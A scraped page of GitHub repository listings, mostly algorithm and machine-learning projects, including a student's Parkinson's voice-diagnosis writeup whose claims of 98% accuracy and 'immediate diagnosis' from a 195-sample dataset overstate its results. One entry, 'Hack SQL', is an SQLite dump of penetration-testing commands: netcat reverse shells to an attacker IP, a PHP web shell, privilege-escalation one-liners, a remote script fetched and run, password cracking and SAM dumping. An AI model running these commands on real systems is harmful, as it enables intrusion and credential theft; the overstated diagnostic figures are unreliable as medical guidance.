1,615 skills found · Page 3 of 54
piyushpathak03 / Machine Learning Algorithm PDFNo description available
milaan9 / Machine Learning Algorithms From ScratchThis repository explores the variety of techniques and algorithms commonly used in machine learning and the implementation in MATLAB and PYTHON.
Aastha2104 / Parkinson Disease PredictionIntroduction Parkinson’s Disease is the second most prevalent neurodegenerative disorder after Alzheimer’s, affecting more than 10 million people worldwide. Parkinson’s is characterized primarily by the deterioration of motor and cognitive ability. There is no single test which can be administered for diagnosis. Instead, doctors must perform a careful clinical analysis of the patient’s medical history. Unfortunately, this method of diagnosis is highly inaccurate. A study from the National Institute of Neurological Disorders finds that early diagnosis (having symptoms for 5 years or less) is only 53% accurate. This is not much better than random guessing, but an early diagnosis is critical to effective treatment. Because of these difficulties, I investigate a machine learning approach to accurately diagnose Parkinson’s, using a dataset of various speech features (a non-invasive yet characteristic tool) from the University of Oxford. Why speech features? Speech is very predictive and characteristic of Parkinson’s disease; almost every Parkinson’s patient experiences severe vocal degradation (inability to produce sustained phonations, tremor, hoarseness), so it makes sense to use voice to diagnose the disease. Voice analysis gives the added benefit of being non-invasive, inexpensive, and very easy to extract clinically. Background Parkinson's Disease Parkinson’s is a progressive neurodegenerative condition resulting from the death of the dopamine containing cells of the substantia nigra (which plays an important role in movement). Symptoms include: “frozen” facial features, bradykinesia (slowness of movement), akinesia (impairment of voluntary movement), tremor, and voice impairment. Typically, by the time the disease is diagnosed, 60% of nigrostriatal neurons have degenerated, and 80% of striatal dopamine have been depleted. Performance Metrics TP = true positive, FP = false positive, TN = true negative, FN = false negative Accuracy: (TP+TN)/(P+N) Matthews Correlation Coefficient: 1=perfect, 0=random, -1=completely inaccurate Algorithms Employed Logistic Regression (LR): Uses the sigmoid logistic equation with weights (coefficient values) and biases (constants) to model the probability of a certain class for binary classification. An output of 1 represents one class, and an output of 0 represents the other. Training the model will learn the optimal weights and biases. Linear Discriminant Analysis (LDA): Assumes that the data is Gaussian and each feature has the same variance. LDA estimates the mean and variance for each class from the training data, and then uses properties of statistics (Bayes theorem , Gaussian distribution, etc) to compute the probability of a particular instance belonging to a given class. The class with the largest probability is the prediction. k Nearest Neighbors (KNN): Makes predictions about the validation set using the entire training set. KNN makes a prediction about a new instance by searching through the entire set to find the k “closest” instances. “Closeness” is determined using a proximity measurement (Euclidean) across all features. The class that the majority of the k closest instances belong to is the class that the model predicts the new instance to be. Decision Tree (DT): Represented by a binary tree, where each root node represents an input variable and a split point, and each leaf node contains an output used to make a prediction. Neural Network (NN): Models the way the human brain makes decisions. Each neuron takes in 1+ inputs, and then uses an activation function to process the input with weights and biases to produce an output. Neurons can be arranged into layers, and multiple layers can form a network to model complex decisions. Training the network involves using the training instances to optimize the weights and biases. Naive Bayes (NB): Simplifies the calculation of probabilities by assuming that all features are independent of one another (a strong but effective assumption). Employs Bayes Theorem to calculate the probabilities that the instance to be predicted is in each class, then finds the class with the highest probability. Gradient Boost (GB): Generally used when seeking a model with very high predictive performance. Used to reduce bias and variance (“error”) by combining multiple “weak learners” (not very good models) to create a “strong learner” (high performance model). Involves 3 elements: a loss function (error function) to be optimized, a weak learner (decision tree) to make predictions, and an additive model to add trees to minimize the loss function. Gradient descent is used to minimize error after adding each tree (one by one). Engineering Goal Produce a machine learning model to diagnose Parkinson’s disease given various features of a patient’s speech with at least 90% accuracy and/or a Matthews Correlation Coefficient of at least 0.9. Compare various algorithms and parameters to determine the best model for predicting Parkinson’s. Dataset Description Source: the University of Oxford 195 instances (147 subjects with Parkinson’s, 48 without Parkinson’s) 22 features (elements that are possibly characteristic of Parkinson’s, such as frequency, pitch, amplitude / period of the sound wave) 1 label (1 for Parkinson’s, 0 for no Parkinson’s) Project Pipeline pipeline Summary of Procedure Split the Oxford Parkinson’s Dataset into two parts: one for training, one for validation (evaluate how well the model performs) Train each of the following algorithms with the training set: Logistic Regression, Linear Discriminant Analysis, k Nearest Neighbors, Decision Tree, Neural Network, Naive Bayes, Gradient Boost Evaluate results using the validation set Repeat for the following training set to validation set splits: 80% training / 20% validation, 75% / 25%, and 70% / 30% Repeat for a rescaled version of the dataset (scale all the numbers in the dataset to a range from 0 to 1: this helps to reduce the effect of outliers) Conduct 5 trials and average the results Data a_o a_r m_o m_r Data Analysis In general, the models tended to perform the best (both in terms of accuracy and Matthews Correlation Coefficient) on the rescaled dataset with a 75-25 train-test split. The two highest performing algorithms, k Nearest Neighbors and the Neural Network, both achieved an accuracy of 98%. The NN achieved a MCC of 0.96, while KNN achieved a MCC of 0.94. These figures outperform most existing literature and significantly outperform current methods of diagnosis. Conclusion and Significance These robust results suggest that a machine learning approach can indeed be implemented to significantly improve diagnosis methods of Parkinson’s disease. Given the necessity of early diagnosis for effective treatment, my machine learning models provide a very promising alternative to the current, rather ineffective method of diagnosis. Current methods of early diagnosis are only 53% accurate, while my machine learning model produces 98% accuracy. This 45% increase is critical because an accurate, early diagnosis is needed to effectively treat the disease. Typically, by the time the disease is diagnosed, 60% of nigrostriatal neurons have degenerated, and 80% of striatal dopamine have been depleted. With an earlier diagnosis, much of this degradation could have been slowed or treated. My results are very significant because Parkinson’s affects over 10 million people worldwide who could benefit greatly from an early, accurate diagnosis. Not only is my machine learning approach more accurate in terms of diagnostic accuracy, it is also more scalable, less expensive, and therefore more accessible to people who might not have access to established medical facilities and professionals. The diagnosis is also much simpler, requiring only a 10-15 second voice recording and producing an immediate diagnosis. Future Research Given more time and resources, I would investigate the following: Create a mobile application which would allow the user to record his/her voice, extract the necessary vocal features, and feed it into my machine learning model to diagnose Parkinson’s. Use larger datasets in conjunction with the University of Oxford dataset. Tune and improve my models even further to achieve even better results. Investigate different structures and types of neural networks. Construct a novel algorithm specifically suited for the prediction of Parkinson’s. Generalize my findings and algorithms for all types of dementia disorders, such as Alzheimer’s. References Bind, Shubham. "A Survey of Machine Learning Based Approaches for Parkinson Disease Prediction." International Journal of Computer Science and Information Technologies 6 (2015): n. pag. International Journal of Computer Science and Information Technologies. 2015. Web. 8 Mar. 2017. Brooks, Megan. "Diagnosing Parkinson's Disease Still Challenging." Medscape Medical News. National Institute of Neurological Disorders, 31 July 2014. Web. 20 Mar. 2017. Exploiting Nonlinear Recurrence and Fractal Scaling Properties for Voice Disorder Detection', Little MA, McSharry PE, Roberts SJ, Costello DAE, Moroz IM. BioMedical Engineering OnLine 2007, 6:23 (26 June 2007) Hashmi, Sumaiya F. "A Machine Learning Approach to Diagnosis of Parkinson’s Disease."Claremont Colleges Scholarship. Claremont College, 2013. Web. 10 Mar. 2017. Karplus, Abraham. "Machine Learning Algorithms for Cancer Diagnosis." Machine Learning Algorithms for Cancer Diagnosis (n.d.): n. pag. Mar. 2012. Web. 20 Mar. 2017. Little, Max. "Parkinsons Data Set." UCI Machine Learning Repository. University of Oxford, 26 June 2008. Web. 20 Feb. 2017. Ozcift, Akin, and Arif Gulten. "Classifier Ensemble Construction with Rotation Forest to Improve Medical Diagnosis Performance of Machine Learning Algorithms." Computer Methods and Programs in Biomedicine 104.3 (2011): 443-51. Semantic Scholar. 2011. Web. 15 Mar. 2017. "Parkinson’s Disease Dementia." UCI MIND. N.p., 19 Oct. 2015. Web. 17 Feb. 2017. Salvatore, C., A. Cerasa, I. Castiglioni, F. Gallivanone, A. Augimeri, M. Lopez, G. Arabia, M. Morelli, M.c. Gilardi, and A. Quattrone. "Machine Learning on Brain MRI Data for Differential Diagnosis of Parkinson's Disease and Progressive Supranuclear Palsy."Journal of Neuroscience Methods 222 (2014): 230-37. 2014. Web. 18 Mar. 2017. Shahbakhi, Mohammad, Danial Taheri Far, and Ehsan Tahami. "Speech Analysis for Diagnosis of Parkinson’s Disease Using Genetic Algorithm and Support Vector Machine."Journal of Biomedical Science and Engineering 07.04 (2014): 147-56. Scientific Research. July 2014. Web. 2 Mar. 2017. "Speech and Communication." Speech and Communication. Parkinson's Disease Foundation, n.d. Web. 22 Mar. 2017. Sriram, Tarigoppula V. S., M. Venkateswara Rao, G. V. Satya Narayana, and D. S. V. G. K. Kaladhar. "Diagnosis of Parkinson Disease Using Machine Learning and Data Mining Systems from Voice Dataset." SpringerLink. Springer, Cham, 01 Jan. 1970. Web. 17 Mar. 2017.
dominikwodniok / DualmcSimple C++ implementation of the (manifold) dual marching cubes algorithm from Gregory M. Nielson
tommybennett / Algorithm MnemonicsAlgorithm Mnemonics: Increase Productivity with STL Algorithms
pyocd / FlashAlgoFramework for building Arm Cortex-M "FLM" style flash programming algorithms.
libmir / Mir AlgorithmDlang Core Library
DiHiera / Algorithm Interview Notes Chinese Master2018/2019/校招/春招/秋招/算法/机器学习(Machine Learning)/深度学习(Deep Learning)/自然语言处理(NLP)/C/C++/Python/面试笔记
hiimvikash / DSA EndGameI have started Data structures and Algorithms on April 1, 2021, and this repository will be containing my resources, tutorial, codes, and my approach to Qs, for future reference. As I'm in the learning process, this repository will be refreshed daily with my new bits of knowledge.
codeman008 / Deeplearning Machinelearning Algorithm Books整理深度学习，机器学习相关的电子书pdf版本
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BreezePython / AlgorithmMarkdownNo description available
leezqcst / Machine Learning Algorithm记录小润了解的各种机器学习算法的实现以及基础概念，包括有监督学习，无监督学习，分类，聚类，回归；神经元模型，多层感知器，BP算法；损失函数，激活函数，梯度下降法；全连接网络、卷积神经网络、递归神经网络；训练集，测试集，交叉验证，欠拟合，过拟合；数据规范化等
marioeid / Mr Algorithmsyou will find all your pdfs and codes here enjoy .
jesse-scam / Algorithmic Beat Mapping UnityReal-time and Preprocessed Audio Analysis for Onset Detection (Beat Mapping) Using Spectral Flux
SkienaBook / Algorithm Design Manual Programs V3Programs for the third edition of the Algorithm Design Manual
WMX567 / Math And Algorithm LearningA collection of books/notes for Math and Algorithm study (files available)
cliansang / Positioning Algorithms For Uwb MatlabThe Matlab scripts for five positioning algorithms regarding UWB localization. The five algorithms are Extended Kalman Filter (EKF), Unscented Kalman Filter (UKF), Taylor Series-based location estimation, Trilateration, and Multilateration methods.
Don-No7 / Hack SQL-- -- File generated with SQLiteStudio v3.2.1 on Sun Feb 7 14:58:28 2021 -- -- Text encoding used: System -- PRAGMA foreign_keys = off; BEGIN TRANSACTION; -- Table: Commands CREATE TABLE Commands (Command_No INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, Name TEXT REFERENCES Programs (Name) NOT NULL, Description TEXT NOT NULL, Command TEXT, File BLOB); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (1, 'Kerbrute', 'brute single user password', 'kerbrute bruteuers [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (2, 'Kerbrute', 'brute username:password combos from file or stdin', 'kerbrute brutforce [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (3, 'Kerbrute', 'test a single password agains a list of users', 'kerbrute passwordspray [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (4, 'Kerbrute', 'Enumerate valid domain usernames via kerberos', 'kerbrute userenum [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (5, 'Name-That-Hash', 'Find the hash type of a string', 'nth --text ''<hash>''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (6, 'Name-That-Hash', 'Find the hash type of a file', 'nth --file <hash file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (7, 'Nmap', 'scan for vulnerabilites', 'nmap --script vuln <HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (8, 'Nikto', 'Scan host for vulnerabilites', 'nikto -h <HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (9, 'SMBClient', 'check for misconfigured anonymous login', 'smbclient -L \\\\<HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (10, 'Hydra', 'Brutforce a webpage looking for usernames', 'hydra -l <user wordlist> -p 123 <HOST_IP> http-post-form ''/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=<output string on failure>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (11, 'SMBMap', 'enumerates SMB file shares', 'smbmap -u <user> -p <pass> -H <host IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (12, 'WPScan', 'Enumerate Wordpress website', 'wpscan --url <wp site> --enumerate --plugins-detection', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (13, 'WPScan', 'enumerate though known usernames', 'wpscan --url <HOST_IP> --usernames <USERNAME_FOUND> --passwords wordlist.dic', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (14, 'PowerShell', 'bypass execution policy', 'powershell.exe -exec bypass', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (15, 'TheHarvester', 'gathering informaiton from online sources', 'theharvester -d <domain> -l <#> -g -b google', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (16, 'Netcat', 'open a listener', 'nc -lvnp <port #>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (17, 'Netcat', 'Connect to computer', 'nc <attacker ip> <attacker port>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (18, 'GoBuster', 'Eunmerate directories on a website with a cookie', 'gobuster dir -u http://<IP> -w <wordlist> -x <extention> -c PHPSESSID=<cookie val>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (19, 'SQLMap', 'map sql at an IP', 'sqlmap -r <IP> --batch --force-ssl', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (20, 'John the Ripper', 'Use wordlist to parse hash', 'john <HASHES_FILE> --wordlist=<wordlist>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (21, 'John the Ripper', 'unencrypt shadow file', 'john <Unshadowed passwds>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (22, 'Unshadow', 'combine /etc/passwd and /etc/shadow file for cracking', 'unshadow <passwd> <shadow>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (23, 'Hashcat', 'crack hashes with a wordlist', 'hashcat -m <hash type> -a 0 -o <output file> <hash file> <wordlist> --force', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (26, 'Enum4Linux', 'basic command', 'enum4linux -a <IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (27, 'SMBClient', 'connect to a SMB share', 'smbclinet //<IP>/<share> -U <username>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (28, 'Netcat', 'connect with shell (-e doest always work)', 'nc -e /bin/sh <ATTACKING-IP> 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (29, 'Netcat', 'connect with shell (-e doest always work)', '/bin/sh | nc ATTACKING-IP 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (30, 'Netcat', 'done on the target', 'rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (31, 'SQLMap', 'Check form for SQL injection', 'sqlmap -o -u "http://meh.com/form/" –forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (32, 'SQLMap', 'automated SQL scan', 'sqlmap -u <URL> --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (33, 'CrackMapExec', 'run a mimikatz module', 'crackmapexec smb <target(s)> -u <username> -p <password> --local-auth -M mimikatz', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (34, 'CrackMapExec', 'Command execution', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' -x whoami', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (35, 'CrackMapExec', 'check logged in users', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' --lusers', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (36, 'CrackMapExec', 'dump local SAM hashes', 'crackmapexec <target(s)> -u ''<uesrname>'' -p ''<password>'' --local-auth --sam', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (37, 'CrackMapExec', 'null session login', 'crackmapexec smb <target(s)> -u '''' -p ''''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (38, 'CrackMapExec', 'list modules', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (39, 'CrackMapExec', 'pass the hash', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (41, 'IKE-Scan', 'attack pre shared key with dictionary', 'psk-crack -d </path/to/dictionary> <psk file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (42, 'IKE-Scan', 'If you find a SonicWALL VPN using agressive mode it will require a group id, the default group id is GroupVPN', 'ike-scan <IP> -A -id GroupVPN', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (43, 'IKE-Scan', 'to find aggressive mode VPNs and save for use with psk-crack', 'ike-scan <IP> -A -P<file out>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (44, 'John the Ripper', 'crack passwords with korelogic rules', 'for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --rules:${ruleset} -w:<wordlist> <password_file> ; done', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (45, 'Nmap', 'create a list of ip addresses ', 'nmap -sL -n 192.168.1.1-100,102-254 | grep "report for" | cut -d " " -f 5 > ip_list_192.168.1.txt', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (46, 'Linux commands', 'mount NFS share on linux', 'mount -t nfs server:/share /mnt/point', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (47, 'PowerShell', 'create new user', 'net user <username> <password> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (48, 'PowerShell', 'add user to a group (normaly Administrators)', 'net localgroup <group> <username> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (49, 'PSK-Crack', 'brute force with specified length and specified chars (if left blank default is 36)', 'psk-crack -b <#> --charset="<charlist>" <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (50, 'PSK-Crack', 'dictianary attack', 'psk-crack -d <file> <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (51, 'SQLMap', 'check form for SQL injection', 'sqlmap -o -u "<url of form>" --forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (52, 'SQLMap', 'Scan url for union + error based injection with mysql backend and use a random user agent + database dump', 'sqlmap -u "<form URL>?id=1>" --dbms=mysql --tech=U --random-agent --dump ', NULL); -- Table: Exploits CREATE TABLE Exploits (Target TEXT, Type TEXT, Criteria TEXT, Method TEXT, Code TEXT, Result TEXT, Notes TEXT); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Injection', 'ability to write to website folder', 'create or edit a mage of the website and insert the code to get remote access to the machine', '<? php system ($ _ GET [''cmd'']); ?>', 'execute code via url', '<URL of php>?cmd=<code to execue>'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'shell', 'enter code into the shell to find vulnerbilities int he machine', 'find / -perm -u=s -type f 2>/dev/null', 'SUID binaries', 'link output to GTFO bins and exploit'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Box', 'Priv Esc', 'Python binary running as root', 'generate a shell using python to grain root access', 'python3 -c "import pty;pty.spawn(''/bin/sh'');"', 'root shell', 'change pyton varibale acordingly'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('SQL', 'Priv Esc', 'MySQL binary running as root', 'enter into MySQL command line and break out into root y using the code', 'mysql> \! /bin/sh', 'get shell from root priv SQL', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'low privilage shell', 'use the code to search for programs that run as sudo without password', 'sudo -l', NULL, 'list programs that can be used with sudo and no password'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Windows', 'Priv Esc', 'Powershell', 'use code to enumerate priv esc opertunities', 'wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """', 'list of unquoted service paths that might be used for priv esc', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'LFI', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', NULL, 'use Linenum.sh to enumerate linux box', 'wget https://www.linenum.sh/ -P /dev/shm/Linenum.sh; chmod +x /dev/shm/linenum.sh ; ./dev/shm/Linenum.sh | tee /dev/shm/lininfo.txt', ' file, /dev/shm/lininfo.txt, with priv esc info', 'it is possible to use other methods of download like: curl or others found on google'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'No-Auth', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Re-Registration', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'JWT', 'a site that uses jSON as cookies', 'edit the information (with BURP) thats going to the website to gain access without authenitaction', NULL, NULL, NULL); -- Table: Programs CREATE TABLE Programs (Name text PRIMARY KEY NOT NULL UNIQUE, Stage TEXT, Description text, Info text, Features TEXT, Target TEXT, Offensive BOOLEAN, commands TEXT); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nmap', 'Enum', 'Used for scanning a network/host to gather more information', 'man pages on linux', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('BURP Suit', 'Enum, Exploit', 'A program for manipulating HTTP requests, enumeration and Exploit', 'https://portswigger.net/burp/documentation/contents', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Metasploit', 'All', 'Powerfull swiss-army-knife of hacking', 'https://docs.rapid7.com/metasploit/', NULL, 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('MSFVenom', 'Exploit', 'Designed for creating payloads', 'https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom', 'Payloads', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Snort', 'Utility', 'Packet sniffer', 'https://snort-org-site.s3.amazonaws.com/production/document_files/files/000/000/249/original/snort_manual.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIXACIED2SPMSC7GA%2F20210128%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210128T192737Z&X-Amz-Expires=172800&X-Amz-SignedHeaders=host&X-Amz-Signature=4b51dc730677d14203c4a4cde25c1831ac64e9eca8df89c6737701811fa3f9fd', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('GoBuster', 'Enum', 'A fuzzer for websites', 'man pages on linux', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hydra', 'Exploit', 'Brutforcer for wesite passwords', 'man pages on linux', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Mimikatz', 'Post', 'Used to exploit kerberos', 'https://gist.github.com/insi2304/484a4e92941b437bad961fcacda82d49', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Impacket', 'Exploit', 'The fascilitator of python bassed script that uses modules for attacking windows ', 'https://www.secureauth.com/labs-old/impacket/', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Enum4Linux', 'Enum', 'for Enumerating Windows and Samba hosts', 'man pages included, https://tools.kali.org/information-gathering/enum4linux', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Rubeus', 'Exploit', 'Used for kerberos interaction and abuse', 'https://github.com/GhostPack/Rubeus', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Kerbrute', 'Enum, Exploit', 'quickly enumerate and brutforce active directory accounts through kerberos pre-authentication', 'https://github.com/ropnop/kerbrute/', 'Brute', 'Windows', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('John the Ripper', 'Exploit', 'a password brutforcer', 'https://www.openwall.com/john/doc/', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hashcat', 'Exploit', 'A password bruteforces', 'http://manpages.org/hashcat', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Bloodhound', 'Enum', 'Network mapping tool', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Wireshark', 'Utility', 'Packet sniffer', 'https://www.wireshark.org/download/docs/user-guide.pdf', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hash-Identifier', 'Utility', '(superseeded by Name-That-Hash)A simple python program for identifying hashes', 'man pages on linux', NULL, 'Hash', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Scp', 'Utility', 'For transfering files over SSH connection', 'man pages on llinux', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBClient', 'Utility', 'Used to connect to SMB file shares, can be used to enumerate shares', 'man pages on linux', 'Connect', 'SMB', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PowerShell', 'Utility', 'Powerfull comand line for Windows', 'https://www.pdq.com/powershell/', NULL, 'Windows', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Searchsploit', 'Enum', 'Local version of ExploitDB', 'https://www.exploit-db.com/searchsploit', 'Exploit Enum', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Vim', 'Utiility', 'Text editor', 'https://vimhelp.org/', NULL, 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('LinPeas', 'Post', 'For Enumerating Linux computers', 'Simply run on a linux computer', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nikto', 'Enum', 'For full enumeration on websites', 'https://cirt.net/nikto2-docs/', 'Exploit Enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Radare2', 'Utility', 'A tooll used to reverse engineer programs', 'https://github.com/radareorg/radare2/blob/master/doc/intro.md', 'Reverse', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Evil-WinRM', 'Exploit', 'Malware exuivilent of WinRM and used to exploit windows systems', 'https://github.com/Hackplayers/evil-winrm', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Seatbelt', 'Post', 'Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives', 'https://github.com/GhostPack/Seatbelt', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WinPeas', 'Post', 'For full enumeration of windows host (internal)', 'https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Lockless', 'Post', 'LockLess is a C# tool that allows for the enumeration of open file handles and the copying of locked files', 'https://github.com/GhostPack/Lockless', 'File interaction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SQLMap', 'Exploit', 'Automates the process of detecting and exploiting SQL injection flaws and taking over of database servers', 'http://sqlmap.org/', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('KEETheif', 'Post', 'Allows for the extraction of KeePass 2.X key material from memory, as well as the backdooring and enumeration of the KeePass trigger system', 'https://github.com/GhostPack/KeeThief', 'File interacction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('TheHarvester', 'Enum', 'The objective of this program is to gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database', 